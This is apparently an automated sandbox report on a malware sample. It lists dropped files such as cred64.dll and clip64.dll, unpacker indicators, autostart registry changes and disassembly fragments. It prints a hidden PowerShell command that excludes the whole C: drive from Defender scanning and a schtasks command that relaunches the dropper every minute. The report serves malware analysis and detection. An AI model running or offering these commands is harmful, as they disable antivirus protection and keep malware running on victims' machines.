Source:	Binary string: ntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716128764.0000000003D00000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1715329018.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719048022.00000000053B0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1718846921.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2334511142.0000000003B00000.00000004.00000001.00020000.00000000.sdmp, B677.exe, 0000000E.00000003.2335763983.0000000003CF0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: e7CLP6462y.exe, 00000000.00000003.1716354790.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716476397.0000000003CB0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719418015.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719578576.0000000005360000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdbi source: OpenWith.exe, 00000002.00000002.2029195105.000002427BD68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716669499.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1716735626.0000000003C30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719763335.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1719855740.00000000052E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: e7CLP6462y.exe, 00000000.00000003.1716911859.0000000003B10000.00000004.00000001.00020000.00000000.sdmp, e7CLP6462y.exe, 00000000.00000003.1717061300.0000000003D30000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720019053.00000000051C0000.00000004.00000001.00020000.00000000.sdmp, dialer.exe, 00000001.00000003.1720184364.00000000053E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Spaso\Documents\SuperSonicMaster\SuperSonicMaster\obj\x64\Release\SuperSonicMaster.pdb source: OpenWith.exe, 00000002.00000003.1977606668.000002427DA81000.00000004.00000020.00020000.00000000.sdmp, OpenWith.exe, 00000002.00000003.1977509222.000002427DD2B000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027404955.0000018E5F34A000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027486844.0000018E5F5A0000.00000004.08000000.00040000.00000000.sdmp, AppLaunch.exe, 00000006.00000002.2027635250.0000018E5F781000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: 2.3.OpenWith.exe.2427db3aad0.22.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.22.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.14.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.14.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.7.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.7.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.12.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.12.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.19.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.19.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.3.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.3.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.11.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.11.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.18.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.18.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.17.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.17.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.20.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.20.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.30.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.30.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.10.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.10.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.15.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.15.raw.unpack, Runtime.cs	.Net Code: CoreMain
Source: 2.3.OpenWith.exe.2427db3aad0.24.raw.unpack, Runtime.cs	.Net Code: CoreMain System.Reflection.Assembly.Load(byte[])
Source: 2.3.OpenWith.exe.2427db3aad0.24.raw.unpack, Runtime.cs	.Net Code: CoreMain

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\B88B.exe

Code function: 15_2_0030FA0A LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

15_2_0030FA0A

Source: e7CLP6462y.exe

Static PE information: section name: .textbss

Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042CC52 push dword ptr [edx+ebp+3Bh]; retf	0_3_0042CC5F
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042AAF4 pushad ; retf	0_3_0042AB03
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042B285 push F693B671h; retf	0_3_0042B28A
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042BF48 push es; ret	0_3_0042BF49
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_00427F4E push eax; retf	0_3_00427F4F
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042916F push ecx; iretd	0_3_0042917B
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042B57C push esi; ret	0_3_0042B580
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042912F pushad ; ret	0_3_00429137
Source: C:\Users\user\Desktop\e7CLP6462y.exe	Code function: 0_3_0042ADCE push edi; iretd	0_3_0042ADD5
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B45CD2 push dword ptr [edx+ebp+3Bh]; retf	1_3_02B45CDF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B43E4E push edi; iretd	1_3_02B43E55
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B421AF pushad ; ret	1_3_02B421B7
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B445FC push esi; ret	1_3_02B44600
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B421EF push ecx; iretd	1_3_02B421FB
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B40FCE push eax; retf	1_3_02B40FCF
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B44FC8 push es; ret	1_3_02B44FC9
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B44305 push F693B671h; retf	1_3_02B4430A
Source: C:\Windows\SysWOW64\dialer.exe	Code function: 1_3_02B43B74 pushad ; retf	1_3_02B43B83
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486ED9D1E push esi; retf 000Ah	2_3_00007DF486ED9D1F
Source: C:\Windows\System32\OpenWith.exe	Code function: 2_3_00007DF486ED4CA0 push edx; ret	2_3_00007DF486ED4CAB
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00402EE1 push 000000C3h; ret	11_2_00402FFC
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00402A47 push ebx; ret	11_2_00402A53
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00401503 push edi; ret	11_2_00401530
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00402A1F push ebx; ret	11_2_00402A22
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Code function: 11_2_00402A2C push ebx; ret	11_2_00402A3E
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00402EE1 push 000000C3h; ret	13_2_00402FFC
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00402A47 push ebx; ret	13_2_00402A53
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00401503 push edi; ret	13_2_00401530
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00402A1F push ebx; ret	13_2_00402A22
Source: C:\Users\user\AppData\Roaming\utihrjr	Code function: 13_2_00402A2C push ebx; ret	13_2_00402A3E
Source: C:\Users\user\AppData\Local\Temp\B677.exe	Code function: 14_3_0042CC52 push dword ptr [edx+ebp+3Bh]; retf	14_3_0042CC5F

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B88B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\clip64[1].dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\utihrjr	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\B88B.exe	File created: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B677.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	File created: C:\Users\user\AppData\Roaming\ab10c56eed80d1\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	File created: C:\Users\user\AppData\Roaming\ab10c56eed80d1\clip64.dll	Jump to dropped file

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\utihrjr

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\utihrjr:Zone.Identifier read attributes | delete

Jump to behavior

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\e7CLP6462y.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
